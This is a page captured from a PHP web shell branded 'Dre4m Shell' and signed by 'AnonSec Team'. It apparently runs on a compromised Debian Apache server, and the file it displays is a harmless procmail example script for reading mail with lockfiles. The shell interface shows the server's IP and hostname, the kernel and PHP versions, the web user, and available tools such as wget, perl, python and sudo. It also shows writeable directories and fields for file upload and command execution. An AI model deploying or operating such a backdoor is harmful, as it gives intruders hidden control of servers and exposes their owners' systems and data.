Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.217.241.235
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/usr/share/doc/procmail/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/usr/share/doc/procmail/examples/3rmail
#!/bin/sh
#
# specify the mailbox file you want to read on the command line
# Use a relative path from your $HOME directory
#
# For this kind of chaotic procmailrc there is no uniform neat solution
# to determine which lockfiles to use.	I'll give just one (suboptimal)
# solution here.  Use your imagination to extend it :-).
#
MAILDIR=$HOME/Mail
cd $HOME			# this means all paths are relative to $HOME
LOCKFILE=$HOME/.lockmail
LOCKFILE2=$HOME/Mail/whatever
if lockfile -! -r1 $LOCKFILE $LOCKFILE2
then
 echo Mail is currently arriving, please wait...
 while
   lockfile -! -4 -r2 $LOCKFILE $LOCKFILE2
 do
 echo Mail is still arriving...
 done
fi
trap "rm -f $LOCKFILE $LOCKFILE2;exit 0" 0 1 2 3 13 15
#
# Call your favourite mailer here.
#
/usr/ucb/mail -f $*

Anon7 - 2022
AnonSec Team